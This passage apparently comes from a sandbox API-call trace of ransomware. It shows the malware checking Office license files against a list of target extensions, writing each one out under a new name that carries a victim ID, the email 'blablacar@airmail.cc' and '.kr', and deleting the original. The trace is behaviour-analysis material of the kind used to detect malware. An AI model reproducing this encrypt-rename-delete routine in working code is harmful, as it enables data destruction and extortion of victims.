Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString=".jpg") returned 4 [0215.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString=".doc") returned 4 [0215.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".docx") returned 5 [0215.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.047] lstrlenW (lpString=".pdf") returned 4 [0215.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".xls") returned 4 [0215.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".xlsx") returned 5 [0215.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.047] lstrlenW (lpString=".ppt") returned 4 [0215.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString=".zip") returned 4 [0215.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".rar") returned 4 [0215.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".bz2") returned 4 [0215.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.048] lstrlenW (lpString=".7z") returned 3 [0215.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.048] lstrlenW (lpString=".dbf") returned 4 [0215.048] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.048] lstrlenW (lpString=".1cd") returned 4 [0215.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.048] lstrlenW (lpString=".jpg") returned 4 [0215.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.048] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.048] lstrlenW (lpString="ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 40 [0215.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.049] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11211) returned 1 [0215.049] CloseHandle (hObject=0x478) returned 1 [0215.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0215.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.049] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.050] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.050] GetLastError () returned 0x0 [0215.051] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bcb, lpOverlapped=0x0) returned 1 [0215.494] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0215.508] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.508] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x124, lpOverlapped=0x0) returned 1 [0215.508] SetEndOfFile (hFile=0x3bc) returned 1 [0215.508] CloseHandle (hObject=0x3bc) returned 1 [0215.508] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.508] SetEndOfFile (hFile=0x478) returned 1 [0215.511] CloseHandle (hObject=0x478) returned 1 [0215.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms")) returned 1 [0215.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.512] lstrlenW (lpString=".doc") returned 4 [0215.512] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.512] lstrlenW (lpString=".docx") returned 5 [0215.512] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.512] lstrlenW (lpString=".pdf") returned 4 [0215.512] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.512] lstrlenW (lpString=".xls") returned 4 [0215.512] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.512] lstrlenW (lpString=".xlsx") returned 5 [0215.512] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.513] lstrlenW (lpString=".ppt") returned 4 [0215.513] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString=".zip") returned 4 [0215.513] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".rar") returned 4 [0215.513] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".bz2") returned 4 [0215.513] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".7z") returned 3 [0215.513] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString=".dbf") returned 4 [0215.513] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString=".1cd") returned 4 [0215.513] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString=".jpg") returned 4 [0215.513] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.513] lstrlenW (lpString=".doc") returned 4 [0215.513] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".docx") returned 5 [0215.513] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.513] lstrlenW (lpString=".pdf") returned 4 [0215.513] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".xls") returned 4 [0215.513] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.513] lstrlenW (lpString=".xlsx") returned 5 [0215.513] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.514] lstrlenW (lpString=".ppt") returned 4 [0215.514] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.514] lstrlenW (lpString=".zip") returned 4 [0215.514] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString=".rar") returned 4 [0215.514] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString=".bz2") returned 4 [0215.514] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString=".7z") returned 3 [0215.514] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.514] lstrlenW (lpString=".dbf") returned 4 [0215.514] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.514] lstrlenW (lpString=".1cd") returned 4 [0215.514] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0215.514] lstrlenW (lpString=".jpg") returned 4 [0215.514] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.514] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.514] lstrlenW (lpString="ProjectProO365R_SubTrial-pl.xrm-ms") returned 34 [0215.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.515] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11187) returned 1 [0215.515] CloseHandle (hObject=0x478) returned 1 [0215.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms")) returned 0x220 [0215.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.516] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.516] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.517] GetLastError () returned 0x0 [0215.517] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bb3, lpOverlapped=0x0) returned 1 [0215.518] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0215.520] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.520] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0215.520] SetEndOfFile (hFile=0x3bc) returned 1 [0215.520] CloseHandle (hObject=0x3bc) returned 1 [0215.520] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.520] SetEndOfFile (hFile=0x478) returned 1 [0215.523] CloseHandle (hObject=0x478) returned 1 [0215.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-pl.xrm-ms")) returned 1 [0215.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.524] lstrlenW (lpString=".doc") returned 4 [0215.524] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".docx") returned 5 [0215.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.524] lstrlenW (lpString=".pdf") returned 4 [0215.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".xls") returned 4 [0215.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".xlsx") returned 5 [0215.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.524] lstrlenW (lpString=".ppt") returned 4 [0215.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.524] lstrlenW (lpString=".zip") returned 4 [0215.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".rar") returned 4 [0215.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".bz2") returned 4 [0215.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.524] lstrlenW (lpString=".7z") returned 3 [0215.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.524] lstrlenW (lpString=".dbf") returned 4 [0215.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString=".1cd") returned 4 [0215.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString=".jpg") returned 4 [0215.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString=".doc") returned 4 [0215.525] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".docx") returned 5 [0215.525] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.525] lstrlenW (lpString=".pdf") returned 4 [0215.525] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".xls") returned 4 [0215.525] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".xlsx") returned 5 [0215.525] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.525] lstrlenW (lpString=".ppt") returned 4 [0215.525] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString=".zip") returned 4 [0215.525] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".rar") returned 4 [0215.525] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".bz2") returned 4 [0215.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.525] lstrlenW (lpString=".7z") returned 3 [0215.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.525] lstrlenW (lpString=".dbf") returned 4 [0215.526] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.526] lstrlenW (lpString=".1cd") returned 4 [0215.526] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-pl.xrm-ms") returned 84 [0215.526] lstrlenW (lpString=".jpg") returned 4 [0215.526] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.526] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.526] lstrlenW (lpString="ProjectProO365R_SubTrial-ppd.xrm-ms") returned 35 [0215.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.527] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20918) returned 1 [0215.527] CloseHandle (hObject=0x478) returned 1 [0215.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0215.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.527] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.527] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.528] GetLastError () returned 0x0 [0215.528] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51b6, lpOverlapped=0x0) returned 1 [0215.530] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51c0, lpOverlapped=0x0) returned 1 [0215.531] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.532] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11a, lpOverlapped=0x0) returned 1 [0215.532] SetEndOfFile (hFile=0x3bc) returned 1 [0215.532] CloseHandle (hObject=0x3bc) returned 1 [0215.532] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.532] SetEndOfFile (hFile=0x478) returned 1 [0215.535] CloseHandle (hObject=0x478) returned 1 [0215.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ppd.xrm-ms")) returned 1 [0215.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString=".doc") returned 4 [0215.537] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString=".docx") returned 5 [0215.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.537] lstrlenW (lpString=".pdf") returned 4 [0215.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString=".xls") returned 4 [0215.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString=".xlsx") returned 5 [0215.537] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.537] lstrlenW (lpString=".ppt") returned 4 [0215.537] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString=".zip") returned 4 [0215.537] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString=".rar") returned 4 [0215.537] lstrcmpiW (lpString1=".rar", lpString2="m-ms") 